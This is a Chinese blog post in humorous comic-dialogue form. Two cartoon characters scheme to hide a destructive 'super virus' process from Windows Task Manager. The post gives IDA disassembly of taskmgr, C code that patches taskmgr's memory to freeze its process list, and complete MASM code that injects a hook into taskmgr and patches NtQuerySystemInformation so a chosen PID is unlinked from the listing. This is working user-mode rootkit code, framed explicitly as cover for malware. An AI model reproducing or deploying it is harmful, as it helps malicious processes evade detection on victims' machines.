• [原创]反汇编之一:和Taskmgr过不去篇(无厘头版)


    原文链接:和Taskmgr过不去篇(无厘头版)

     

    Hook入门级文章,主要想培养一下偶写文章的感觉,老鸟无视…我想看看技术文章能不能无厘头的写,如果效果不错的话,准备更上一层-----用我的原创漫画表达。:)
     
(警告1:文章中有部分“限制级”词语,请11岁以下弟弟妹妹误入)
(警告2: 修正警告1,不是“误入”,是“勿入”哦,我没有做暗示哦…)

    时间: 终结者2018年
    场景: 地下泡泡澡堂
    故事: 纯属虚构
     
    在一场残酷的西红柿大战后,最终邪恶阿宝使用卑鄙无耻的招数轻松战胜了单纯的加菲,于是哥俩一起去地下废墟澡堂泡澡。在沉默了一阵之后加菲忽然问了阿宝
一个恐怖的问题……
 


    加菲:……你说我们俩身上的毛哪个值钱…
    
阿宝:%##$%@#$%#@%#@,你想钱想疯啦……
 


    加菲:最近手头比较紧,有没有活接?
 


    阿宝:嘿嘿……搞定一个任务,钞票大大滴。
 


    加菲(口水状):什么呀?
 

    
阿宝:老比最近打麻将输我200多,赖账不肯还……
 


    加菲:不会吧…人家是首富哦…
 


    阿宝:没办法呀,windows赔老喽,我准备把他的命根子毁了……
 


    加菲:你这个流氓,我不跟你玩了…
 


    阿宝:什么啊!我指的是他的windows,你想哪去了…
 


    加菲(迅速岔开话题):今天晚上太阳好亮哦…
 


    阿宝(画外音):#@$%#@%,我们俩到底谁邪恶…
 


    加菲:怎么毁呀?
 


    阿宝:我搞了一个宇宙超级大病毒程序,只要运行30分钟保准他的命根子玩蛋!
只要30分钟内不被windows taskmgr发现…
 


    加菲:你傻啊?人家不会用其他进程查看工具嘛?
 

    
阿宝:说你不懂了吧,老比乱搞垄断,windows和taskmgr捆死了,其他
进程工具没法运行呀,嘿嘿…自掘死路…
 

    
加菲:这还不简单,做个rootkit在内核层把病毒进程隐藏起来不就行了。
 


    阿宝:进不去RING0,只能在用户层搞……,有没有其他办法…
 


    加菲:你超级病毒都能写出来,这个不会写?????
 


    阿宝(-_-b):少废话,你要不要钞票了…
 


    加菲:这个…
 
一炷香的功夫过去了…
 

    
阿宝:你到底想好了没啊?
 


    加菲:taskmgr显示进程信息的控件是SysListView32,我想可以截获显示每一行
的消息,然后忽略显示病毒进程的那一条消息…
 

    
阿宝:好啊…做一个dll植入taskmgr,然后SysListView32子类化到dll中的一个
消息处理函数,过滤特定进程的消息…
 


    加菲:没成功…可以截获和过滤消息,但显示老是会多出来一行…(可能是我
实现方法有问题,请看我以前发布的程序)
 


    阿宝:那怎么办啊?
 
加菲:要不然这样,做一个进程文本修改器,类似游戏修改器中的自动修改变量,
只不过这个变量是一个进程名,只要找到病毒进程名字的文本,就将成其他混淆视
听的名字(svchost.exe)。
 


    阿宝:8错,查找时要注意同时修改UNICODE的字符串哦…
 


    加菲:成功了,因为两个进程同时要写一个内容,所以极少数时间里可能会造成
病毒进程名漏出马脚…
 


    阿宝:嗯…病毒名有时会闪一下…进程数还是增加了…能不能干脆彻底删除这个
进程名而不是将其改成其他名字呢?
 


    加菲:这个…
 
阿宝(舔和路雪冰淇淋):搞得怎么样了,有什么新花样呢?
 


    加菲:如果你的超级病毒运行之后,就不准taskmgr 运行起来,如果已经运行起来
就将其关掉…
 


    阿宝:这个不行,太招人显眼了…
 

    
加菲:把taskmgr僵掉…
 

    
阿宝:你以为你是林正英啊???怎么僵呢???
 


    加菲:我刚才没事用IDA玩了一下taskmgr的body,发现一个好玩的
UpdateProcInfoArray过程哦,上代码(省略无关部分):

     1 public: long __thiscall CProcPage::UpdateProcInfoArray(void) proc near
     2 mov     eax, dword_1016580
     3 .text:0100CAD5                 shr     eax, 0Ah
     4 .text:0100CAD8                 mov     ecx, eax
     5 .text:0100CADA                 imul    ecx, [ebp+var_1FC]
     6 .text:0100CAE1                 mov     [ebp+var_88], ecx
     7 .text:0100CAE7                 mov     ecx, eax
     8 .text:0100CAE9                 imul    ecx, [ebp+var_1F8]
     9 .text:0100CAF0                 mov     edx, eax
    10 .text:0100CAF2                 imul    edx, [ebp+var_1F0]
    11 .text:0100CAF9                 mov     [ebp+var_74], ecx
    12 .text:0100CAFC                 mov     ecx, eax
    13 .text:0100CAFE                 imul    ecx, [ebp+var_1F4]
    14 .text:0100CB05                 mov     [ebp+var_6C], edx
    15 .text:0100CB08                 mov     edx, eax
    16 .text:0100CB0A                 imul    eax, [ebp+var_1B4]
    17 .text:0100CB11                 imul    edx, [ebp+var_1B8]
    18 .text:0100CB18                 mov     [ebp+var_7C], eax
    19 .text:0100CB1B                 add     eax, edx
    20 .text:0100CB1D                 push    edi
    21 .text:0100CB1E                 mov     [ebp+var_78], eax
    22 .text:0100CB21                 push    24h
    23 .text:0100CB23                 lea     eax, [ebp+var_F0]
    24 .text:0100CB29                 push    eax
    25 .text:0100CB2A                 push    15h
    26 .text:0100CB2C                 mov     [ebp+var_70], ecx
    27 .text:0100CB2F                 mov     [ebp+var_80], edx
    28 .text:0100CB32                 mov     __int64 g_MEMMax, ecx
    29 .text:0100CB38                 mov     dword_1016564, edi
    30 .text:0100CB3E                 call    esi ; NtQuerySystemInformation(x,x,x,x)
    31 .text:0100CB40                 test    eax, eax
    32 .text:0100CB42                 jge     short loc_100CB4E
    33 .text:0100CB42
    34 .text:0100CB44
    35 .text:0100CB44 loc_100CB44:                            ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+4Bj
    36 .text:0100CB44                                         ; CProcPage::UpdateProcInfoArray(void)+7Aj
    37 .text:0100CB44                 mov     eax, 80004005h
    38 .text:0100CB49                 jmp     loc_100CE7E
    39 .text:0100CB49
    40 .text:0100CB4E ; ---------------------------------------------------------------------------
    41 .text:0100CB4E
    42 .text:0100CB4E loc_100CB4E:                            ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+EEj
    43 .text:0100CB4E                 mov     eax, dword_1016580
    44 .text:0100CB53                 shr     eax, 0Ah
    45 .text:0100CB56                 imul    eax, [ebp+var_DC]
    46 .text:0100CB5D                 mov     ecx, ebx
    47 .text:0100CB5F                 mov     [ebp+var_84], eax
    48 .text:0100CB65                 call    CProcPage::GetProcessInfo(void)
    49 .text:0100CB65
    50 .text:0100CB6A                 cmp     eax, edi
    51 .text:0100CB6C                 mov     [ebp+var_58], eax
    52 .text:0100CB6F                 jl      loc_100CE64
    53 .text:0100CB6F
    54 .text:0100CB75                 mov     [ebp+var_48], edi
    55 .text:0100CB75
    56 .text:0100CB78
    57 .text:0100CB78 loc_100CB78:                            ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+1EEj
    58 .text:0100CB78                 mov     esi, [ebx+10h]
    59 .text:0100CB7B                 add     esi, [ebp+var_48]
    60 .text:0100CB7E                 mov     eax, [esi+44h]
    61 .text:0100CB81                 cmp     eax, edi
    62 .text:0100CB83                 jnz     short loc_100CB8E
    63 .text:0100CB83
    64 .text:0100CB85                 cmp     [esi+4], edi
    65 .text:0100CB88                 jz      loc_100CC1D

    加菲:注意 call CProcPage::GetProcessInfo(void) 这一行,进去看看:

     1 public: long __thiscall CProcPage::GetProcessInfo(void) proc near
     2 .text:0100A6AF                                         ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+111p
     3 .text:0100A6AF
     4 .text:0100A6AF var_4           = dword ptr -4
     5 .text:0100A6AF
     6 .text:0100A6AF                 mov     edi, edi
     7 .text:0100A6B1                 push    ebp
     8 .text:0100A6B2                 mov     ebp, esp
     9 .text:0100A6B4                 push    ecx
    10 .text:0100A6B5                 push    ebx
    11 .text:0100A6B6                 push    esi
    12 .text:0100A6B7                 xor     ebx, ebx
    13 .text:0100A6B9                 push    edi
    14 .text:0100A6BA                 mov     edi, ds:GetProcessHeap()
    15 .text:0100A6C0                 mov     esi, ecx
    16 .text:0100A6C2                 mov     [ebp+var_4], ebx
    17 .text:0100A6C2
    18 .text:0100A6C5
    19 .text:0100A6C5 loc_100A6C5:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+63j
    20 .text:0100A6C5                 mov     eax, [esi+10h]
    21 .text:0100A6C8                 cmp     eax, ebx
    22 .text:0100A6CA                 jz      short loc_100A6F9
    23 .text:0100A6CA
    24 .text:0100A6CC                 push    ebx
    25 .text:0100A6CD                 push    dword ptr [esi+14h]
    26 .text:0100A6D0                 push    eax
    27 .text:0100A6D1                 push    5
    28 .text:0100A6D3                 call    ds:NtQuerySystemInformation(x,x,x,x)
    29 .text:0100A6D9                 cmp     eax, ebx
    30 .text:0100A6DB                 jge     short loc_100A71B
    31 .text:0100A6DB
    32 .text:0100A6DD                 cmp     eax, 0C0000004h
    33 .text:0100A6E2                 jnz     short loc_100A723
    34 .text:0100A6E2
    35 .text:0100A6E4                 mov     eax, [esi+10h]
    36 .text:0100A6E7                 cmp     eax, ebx
    37 .text:0100A6E9                 jz      short loc_100A6F9
    38 .text:0100A6E9
    39 .text:0100A6EB                 push    eax             ; lpMem
    40 .text:0100A6EC                 push    ebx             ; dwFlags
    41 .text:0100A6ED                 call    edi ; GetProcessHeap()
    42 .text:0100A6EF                 push    eax             ; hHeap
    43 .text:0100A6F0                 call    ds:HeapFree(x,x,x)
    44 .text:0100A6F6                 mov     [esi+10h], ebx
    45 .text:0100A6F6
    46 .text:0100A6F9
    47 .text:0100A6F9 loc_100A6F9:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+1Bj
    48 .text:0100A6F9                                         ; CProcPage::GetProcessInfo(void)+3Aj
    49 .text:0100A6F9                 add     dword ptr [esi+14h], 1000h
    50 .text:0100A700                 push    dword ptr [esi+14h] ; dwBytes
    51 .text:0100A703                 push    ebx             ; dwFlags
    52 .text:0100A704                 call    edi ; GetProcessHeap()
    53 .text:0100A706                 push    eax             ; hHeap
    54 .text:0100A707                 call    ds:HeapAlloc(x,x,x)
    55 .text:0100A70D                 cmp     eax, ebx
    56 .text:0100A70F                 mov     [esi+10h], eax
    57 .text:0100A712                 jnz     short loc_100A6C5
    58 .text:0100A712
    59 .text:0100A714                 mov     [ebp+var_4], 8007000Eh
    60 .text:0100A714
    61 .text:0100A71B
    62 .text:0100A71B loc_100A71B:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+2Cj
    63 .text:0100A71B                                         ; CProcPage::GetProcessInfo(void)+7Bj
    64 .text:0100A71B                 mov     eax, [ebp+var_4]
    65 .text:0100A71E                 pop     edi
    66 .text:0100A71F                 pop     esi
    67 .text:0100A720                 pop     ebx
    68 .text:0100A721                 leave
    69 .text:0100A722                 retn

    阿宝:喔欧...(移动广告:3G时代...就说喔欧),这个比较明显了,里面调用
了原生态API NtQuerySystemInformation(x,x,x,x)...




    加菲:下面偶来写一个过程让taskmgr僵住:

     1 #define MAGIC_ADDR 0x100cb65
     2 static const byte VerFlag[] = {0xe8,0x45,0xdb,0xff,0xff};
     3 bool stoptm(DWORD pid)
     4 {
     5  bool bSuccess = false;
     6  HANDLE ph = 0;
     7  
     8  if(!pid)
     9  {
    10   puts("taskmgr not run!");
    11   goto QUIT;
    12  }
    13  
    14  ph = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
    15  if(!ph)
    16  {
    17   puts("can't open taskmgr!");
    18   goto QUIT;
    19  }
    20  
    21  byte fixbin[sizeof(VerFlag)];
    22  if(!ReadProcessMemory(ph,(LPCVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL))
    23  {
    24   puts("read mem failed!");
    25   goto QUIT;
    26  }
    27  
    28  if(memcmp(VerFlag,fixbin,sizeof(fixbin)))
    29  {
    30   puts("taskmgr isn't right ver!");
    31   goto QUIT;
    32  }
    33  
    34  memset(fixbin,0x90,sizeof(fixbin));
    35  if(!WriteProcessMemory(ph,(LPVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL))
    36  {
    37   puts("write mem failed!");
    38   goto QUIT;
    39  }
    40  
    41  bSuccess = true;
    42 QUIT:
    43  if(ph)
    44   CloseHandle(ph);
    45  return bSuccess;
    46 }

    阿宝:我好像能看懂了,将对应的调用语句NOP掉,从而taskmgr无法再刷新
进程列表了...但这个不能对应不同版本的taskmgr吧?
 


    加菲:这个...那是当然...


    
阿宝:你能不能给我个最终解决办法啊...
 


    加菲:没办法了...只有用各个版本通杀技了,HOOk NtQuerySystemInformation , 
然后改变其返回内容。要注意的是我们只需要HOOK 第一个参数为5的调用,
即Query系统进程信息,其他都不用理会。NtQuerySystemInformation 
获取进程信息如果成功,将会返回一个数组,或者称其为一个链表更准确。结构如下:

     1 typedef struct _SYSTEM_PROCESSES
     2 {
     3 ULONG     NextEntryDelta;     //构成结构序列的偏移量;
     4 ULONG     ThreadCount;       //线程数目;
     5 ULONG     Reserved1[6];     
     6 LARGE_INTEGER CreateTime;       //创建时间;
     7 LARGE_INTEGER UserTime;        //用户模式(Ring 3)的CPU时间;
     8 LARGE_INTEGER KernelTime;       //内核模式(Ring 0)的CPU时间;
     9 UNICODE_STRING ProcessName;       //进程名称;
    10 KPRIORITY   BasePriority;      //进程优先权;
    11 ULONG     ProcessId;       //进程标识符;
    12 ULONG     InheritedFromProcessId; //父进程的标识符;
    13 ULONG     HandleCount;       //句柄数目;
    14 ULONG     Reserved2[2];
    15 VM_COUNTERS  VmCounters;       //虚拟存储器的结构,见下;
    16 IO_COUNTERS  IoCounters;       //IO计数结构,见下;
    17 SYSTEM_THREADS Threads[1];       //进程相关线程的结构数组,见下;
    18 }SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;
    19  

     

    加菲:我要做的只是在链表中查找需要隐藏进程的ID,然后将其剔除即可。
 


    阿宝:怎么剔除呢?
 


    加菲:分2种情况,若PID出现在链表的的尾部则直接将上一个链表指向NULL,
否则需要将上一个结构的指针指向PID结构后面一个结构,从而将其剔除,完整代码如下:

      1 .386
      2 .model flat, stdcall
      3 option casemap:none
      4 .nocref
      5 .nolist
      6 include  D:/work/masm32/include/windows.inc
      7 include  D:/work/masm32/include/user32.inc
      8 include  D:/work/masm32/include/kernel32.inc
      9 .list
     10 .listmacro
     11 .listmacroall
     12 IFNDEF UNICODE_STRING
     13  UNICODE_STRING struct
     14   _Length  WORD ?
     15   MaximumLength WORD ?
     16   Buffer  PWSTR ?
     17  UNICODE_STRING ends
     18  PUNICODE_STRING typedef ptr UNICODE_STRING
     19 ENDIF
     20 SPI struct
     21  NextOffset DWORD ?
     22    DWORD ?
     23  Times  QWORD 6 dup(?)
     24  ImageName UNICODE_STRING <?>
     25    DWORD ?
     26  ProcessId DWORD ?
     27  Reserved DWORD 7 dup(?)
     28 SPI ends
     29 PSPI typedef ptr SPI
     30   .const
     31 szDll  db "ntdll.dll",0
     32 szQSI_func db "NtQuerySystemInformation",0
     33   .code
     34 ;**********************************************************
     35 RT_BIN_START equ $
     36  PID  DWORD ? ;要隐藏进程的pid
     37  pQSI_func DWORD ?
     38  pQSI_Next DWORD ?
     39  pBuf  DWORD ?
     40  pRetAddr DWORD ?
     41  pPreviousSPI PSPI 0
     42  dwEBX  DWORD ?
     43  ;ORGBIN  byte 5 dup(?)
     44  FIXBIN  byte 5 dup(?)
     45 RT_CODE_OFFSET equ $ - RT_BIN_START
     46 len0 textequ %RT_CODE_OFFSET
     47 % echo RT_CODE_OFFSET is len0
     48 ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
     49 myQSI_func proc
     50  mov ecx,ebx
     51  call @F
     52 @@:
     53  pop ebx
     54  sub ebx,offset @B
     55  jmp DOIT
     56 GoMaMa:
     57  mov eax,dword ptr [esp]
     58  mov dword ptr [esp + 4],eax
     59  pop eax
     60  ORGBIN byte 5 dup(?)
     61  jmp [ebx + pQSI_Next]
     62 DOIT:
     63  mov dword ptr [ebx + dwEBX],ecx
     64  mov dword ptr [ebx + pBuf],0
     65  push dword ptr [esp]
     66  pop dword ptr [ebx + pRetAddr]
     67  .if dword ptr [esp + 4] == 5
     68   push dword ptr [esp+8]
     69   pop dword ptr [ebx + pBuf]
     70  .endif
     71  
     72  call GoMaMa
     73  ;调用原始QSI成功且是获取SPIs的调用
     74  .if eax == 0 && dword ptr [ebx + pBuf] != 0
     75   assume eax:PSPI
     76   mov ecx,dword ptr [ebx + PID]
     77   mov eax,dword ptr [ebx + pBuf]
     78   .while TRUE
     79    .if [eax].ProcessId == ecx
     80     .if [eax].NextOffset == 0
     81      mov eax,[ebx + pPreviousSPI]
     82      mov [eax].NextOffset,0
     83     .else
     84      mov ecx,[eax].NextOffset
     85      mov eax,[ebx + pPreviousSPI]
     86      add ecx,[eax].NextOffset
     87      mov [eax].NextOffset,ecx
     88     .endif
     89     .break
     90    .endif
     91    .break .if [eax].NextOffset == 0
     92    push eax
     93    pop dword ptr [ebx + pPreviousSPI]
     94    add eax,[eax].NextOffset
     95   .endw
     96   assume eax:nothing
     97  .endif
     98  
     99  mov ecx,ebx
    100  mov ebx,[ebx + dwEBX]
    101  jmp [ecx + pRetAddr]
    102  ;ret
    103 myQSI_func endp
    104 ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    105 RT_BIN_END equ $
    106 RT_BIN_LEN equ RT_BIN_END - RT_BIN_START
    107 T_BIN_LEN textequ %RT_BIN_LEN
    108 % echo RT_BIN_LEN is T_BIN_LEN
    109 ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    110 hookQSIfunc proc C uses ebx edi esi ph:HANDLE,pid:DWORD
    111  local bSuccess,pRTBin,oldProtect
    112  
    113  mov bSuccess,FALSE
    114  .if pid == 0
    115   jmp QUIT
    116  .endif
    117  invoke VirtualProtect,offset RT_BIN_START,/
    118   T_BIN_LEN,PAGE_EXECUTE_READWRITE,/
    119   addr oldProtect
    120  .if !eax
    121   jmp QUIT
    122  .endif
    123  invoke LoadLibrary,addr szDll
    124  invoke GetProcAddress,eax,addr szQSI_func
    125  .if !eax
    126   jmp QUIT
    127  .endif
    128  mov pQSI_func,eax
    129  
    130  invoke VirtualAllocEx,ph,NULL,T_BIN_LEN,/
    131   MEM_COMMIT,PAGE_EXECUTE_READWRITE
    132  .if !eax
    133   jmp QUIT
    134  .endif
    135  mov pRTBin,eax
    136  
    137  invoke ReadProcessMemory,ph,pQSI_func,/
    138   addr ORGBIN,5,NULL
    139  .if !eax
    140   jmp QUIT
    141  .endif
    142  mov eax,pRTBin
    143  add eax,RT_CODE_OFFSET
    144  sub eax,pQSI_func
    145  sub eax,5
    146  mov byte ptr [FIXBIN],0E9h
    147  mov dword ptr [FIXBIN+1],eax
    148  
    149  mov eax,pQSI_func
    150  add eax,5
    151  mov pQSI_Next,eax
    152  push pid
    153  pop PID
    154  invoke WriteProcessMemory,ph,pRTBin,/
    155   offset RT_BIN_START,T_BIN_LEN,NULL
    156  .if !eax
    157   jmp QUIT
    158  .endif
    159  invoke WriteProcessMemory,ph,pQSI_func,/
    160   addr FIXBIN,5,NULL
    161  .if !eax
    162   jmp QUIT
    163  .endif
    164  
    165  mov bSuccess,TRUE
    166 QUIT:
    167  .if pRTBin
    168   ;invoke VirtualFreeEx,ph,pRTBin,/
    169    ;T_BIN_LEN,MEM_RELEASE
    170  .endif
    171  mov eax,bSuccess
    172  ret
    173 hookQSIfunc endp
    174 ;**********************************************************
    175  end

    阿宝:你好像是HOOK之后,直接将以上代码拷贝到taskmgr.exe进程空间中,
等待其自动调用,是吗?
 


    加菲:没错,拷贝功能的函数即是hookQSIfunc,当然这要首先保证taskmgr在运行:

     1 //检查taskmgr.exe当前是否在运行
     2 DWORD findtm(void)
     3 {
     4  DWORD pid = 0;
     5  
     6  PROCESSENTRY32 process = {.dwSize=sizeof(PROCESSENTRY32)};
     7  HANDLE hss = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
     8  Process32First(hss,&process);
     9  while(Process32Next(hss,&process))
    10  {
    11   if(!strcmp(process.szExeFile,"taskmgr.exe"))
    12   {
    13    pid = process.th32ProcessID;
    14    break;
    15   }
    16  }
    17  
    18  CloseHandle(hss);
    19  return pid;
    20 }

    阿宝(暗笑):是这样啊...嘿嘿
 


    加菲(聚精会神地):这样一来无论哪个版本的taskmgr,只要获取机制没有变,
都可以搞定了,呵呵...终于搞定了...那个报酬怎么算...(回头),人呢???

     
    阿宝(全裸速逃中...)
     
    加菲:阿宝,你竟然敢欺骗偶的感情....
     
    愤怒的加菲制造了N个加菲猫终结者T1300型追杀阿宝,至于阿宝能否逃脱,这就是另一个故事了哦 :)


    (PS1:使用了电影分镜头剧本结构,适合改编为cartoon或flash之类的咚咚,结尾不是很好,修改中)
    (PS2: 场景的选择是从刚看完的终结者2018获得的。)

  • 相关阅读:
    通俗易懂的讲解iphone视图控制器的生命周期
    HTML5学习(十一)---服务器发送事件
    HTML5学习(十)---Web Workers
    HTML5学习(九)----应用程序缓存
    HTML5学习(八)----Web存储
    HTML5学习(七)----地理定位
    HTML5学习(六)---------SVG 与Canvas
    HTML5学习(五)----SVG
    HTML5学习(四)---Canvas绘图
    第六章在U盘上运行openwrt(引导)--补
  • 原文地址:https://www.cnblogs.com/hopy/p/3830340.html
Copyright © 2020-2023  润新知